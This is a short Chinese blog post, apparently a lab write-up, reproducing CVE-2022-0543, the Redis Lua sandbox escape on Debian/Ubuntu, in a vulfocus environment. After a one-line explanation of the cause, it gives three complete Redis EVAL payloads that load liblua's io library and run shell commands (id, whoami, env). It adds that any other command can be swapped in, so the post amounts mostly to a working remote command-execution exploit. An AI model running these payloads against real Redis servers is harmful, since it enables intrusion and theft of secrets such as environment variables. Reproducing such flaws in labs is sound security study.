cve_2022_0543-redis沙盒漏洞复现 vulfocus

1. 原理

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。

2.复现

我们可以尝试payload:

复制代码
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

在其中local f = io.popen("id", "r")用后面的read去尝试其他命令,修改"id"就可以读取其他内容

查看whoami

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

查看flag,flag在env环境变量中,用读取

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("env", "r"); local res = f:read("*a"); f:close(); return res' 0

相关推荐
架构师沉默12 小时前
别又牛逼了!AI 写 Java 代码真的行吗?
java·后端·架构
后端AI实验室16 小时前
我把一个生产Bug的排查过程,交给AI处理——20分钟后我关掉了它
java·ai
凉年技术18 小时前
Java 实现企业微信扫码登录
java·企业微信
狂奔小菜鸡19 小时前
Day41 | Java中的锁分类
java·后端·java ee
hooknum19 小时前
学习记录:基于JWT简单实现登录认证功能-demo
java
程序员Terry20 小时前
同事被深拷贝坑了3小时,我教他原型模式的正确打开方式
java·设计模式
NE_STOP20 小时前
MyBatis-缓存与注解式开发
java
码路飞20 小时前
不装 OpenClaw,我用 30 行 Python 搞了个 QQ AI 机器人
java
Re_zero20 小时前
以为用了 try-with-resources 就稳了?这三个底层漏洞让TCP双向通讯直接卡死
java·后端
SimonKing20 小时前
Fiddler抓包完全指南:从安装配置到抓包,一文讲透
java·后端·程序员